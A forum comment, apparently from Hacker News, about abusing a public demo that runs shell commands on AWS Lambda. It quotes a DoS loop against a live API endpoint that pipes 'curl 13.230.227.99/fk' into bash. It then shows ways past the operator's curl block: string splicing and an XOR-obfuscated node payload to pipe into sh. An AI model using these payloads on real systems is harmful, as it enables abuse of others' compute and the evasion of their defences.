Is serverless insecure? Let's find out
I don&#x27;t expect there to be any obvious privesc or interesting vulnerability... I&#x27;m curious to know what benmanns might have found, though.<p>If there is one, the author is quite cheeky, since that could allow him to crowdsource an AWS bug bounty :)<p>That said, getting RCE is usually really interesting because you can get access to the secrets and sensitive data that the app needs to run, but this app doesn&#x27;t need anything interesting to run (besides the AWS token which can only log to cloudwatch). This means that the only resource that it&#x27;s using is the compute and network itself.<p>The most obvious way to exploit this, would then be to mine cryptocurrencies, which won&#x27;t be trivial due to the 3s task limit. It would still be doable by splitting the work into chunks doable in 3s, and making the payload re-entrant, just like the &quot;curl DoS&quot; that the author is currently attempting to block.<p>In fact, a hidden cryptominer and a DoS both have the goal of maximing resources usage :)<p>I noticed the &quot;curl DoS&quot; since now any curl command will fail due to the check that returns &quot;blocking curl due to people just using it for stupid DoS - yes this is ghetto: will re-enable once I find a better method&quot;<p>The payload is<p><pre><code>    for i in $(seq 1 2);
    do
      #echo 1 &amp;
      curl -v -X POST -H &#x27;Content-Type: application&#x2F;json&#x27; -d &#x27;{command: &quot;curl 13.230.227.99&#x2F;fk | bash&quot;}&#x27; https:&#x2F;&#x2F;yypnj3yzaa.execute-api.us-west-1.amazonaws.com&#x2F;dev &amp;
    done
</code></pre>
Obviously, that&#x27;s not enough to prevent such a DoS from happening: you can just recreate the curl string at runtime<p>e.g. `$(echo cu)rl <a href="http:&#x2F;&#x2F;httpbin.org&#x2F;ip`" rel="nofollow">http:&#x2F;&#x2F;httpbin.org&#x2F;ip`</a> still works, but we could also use Javascript and parametrize the payload with a random key (and a server could easily pick a different one at every request). The only way to detect it would then be to decode it by running the Javascript, which can still leave you exposed to other HTTP requests that you could make directly via node&#x27;s http<p>For example, I created this POC: <a href="https:&#x2F;&#x2F;gist.github.com&#x2F;berdario&#x2F;6161a1f9e4bc4d246bcd97379f9f48ab" rel="nofollow">https:&#x2F;&#x2F;gist.github.com&#x2F;berdario&#x2F;6161a1f9e4bc4d246bcd97379f9...</a><p>which will create a payload like:<p><pre><code>    node -e &#x27;console.log(String.fromCharCode(...[180, 226, 137, 102, 18, 77, 192, 168, 75, 218, 234, 143, 19, 173, 145, 213, 247, 49, 35, 107, 135, 230, 75, 205, 247, 183, 241, 213, 215, 167, 10, 37, 138, 133, 27, 237, 252, 96, 254, 246, 220, 197, 119, 236, 101, 176, 36, 114, 46, 206, 242, 185, 240, 244, 255, 10, 39, 122, 244, 243, 195, 231, 3, 202, 148, 253, 38, 86, 84, 216, 8, 44, 128, 129, 39, 183, 82, 97, 164, 253, 87, 121, 132, 86, 233, 171, 159, 117, 71, 2, 193, 116, 241, 83, 203, 35, 139, 17, 59, 153, 156, 90, 134, 186, 234, 41, 113, 64, 152, 143, 154, 204, 28, 210, 36, 245, 120, 207, 93, 144, 242, 164, 11, 172, 1, 156, 252, 93, 136, 87, 112, 234, 124, 50, 250, 191, 21, 157, 251, 182, 72, 35, 67, 211, 3, 36, 32, 122, 79, 98, 140, 182, 103, 203, 187, 125, 217, 240, 41, 218, 131, 40, 89, 190, 192, 17, 66, 166, 55, 21, 246, 24, 167, 199, 239, 126, 212, 112, 126, 224, 234, 83, 16, 77, 72, 17, 168, 147, 104, 107, 154, 21, 71, 206, 240, 64, 198, 61, 19, 192, 33, 145, 121, 111, 153, 227, 145, 185, 253, 35, 104, 155, 64, 35, 221, 249, 11, 110, 220, 152, 47, 153, 9, 235, 237, 90].map((x,i)=&gt;x^[215, 151, 251, 10, 50, 96, 182, 136, 102, 130, 202, 223, 92, 254, 197, 245, 218, 121, 3, 76, 196, 137, 37, 185, 146, 217, 133, 248, 131, 222, 122, 64, 176, 165, 122, 157, 140, 12, 151, 149, 189, 177, 30, 131, 11, 159, 78, 1, 65, 160, 213, 153, 221, 144, 223, 45, 92, 25, 155, 158, 174, 134, 109, 174, 174, 221, 4, 51, 55, 176, 103, 12, 220, 163, 87, 219, 51, 2, 193, 221, 63, 28, 246, 51, 201, 202, 241, 26, 51, 106, 164, 6, 209, 16, 158, 113, 199, 49, 79, 246, 188, 59, 166, 201, 143, 91, 7, 37, 234, 175, 238, 164, 125, 166, 4, 130, 17, 163, 49, 176, 128, 193, 127, 217, 115, 242, 220, 60, 168, 57, 21, 157, 16, 75, 218, 218, 123, 254, 148, 210, 45, 71, 99, 176, 110, 64, 0, 14, 32, 66, 248, 223, 2, 235, 207, 21, 188, 208, 66, 180, 236, 92, 5, 156, 226, 108, 101, 134, 95, 97, 130, 104, 212, 253, 192, 81, 173, 9, 14, 142, 128, 96, 105, 55, 41, 112, 134, 246, 16, 14, 249, 96, 51, 171, 221, 33, 182, 84, 61, 181, 82, 188, 14, 10, 234, 151, 188, 136, 211, 66, 5, 250, 58, 76, 179, 152, 124, 29, 242, 251, 64, 244, 38, 143, 136, 44][i])))&#x27;
</code></pre>
Which you can execute by piping its output into sh again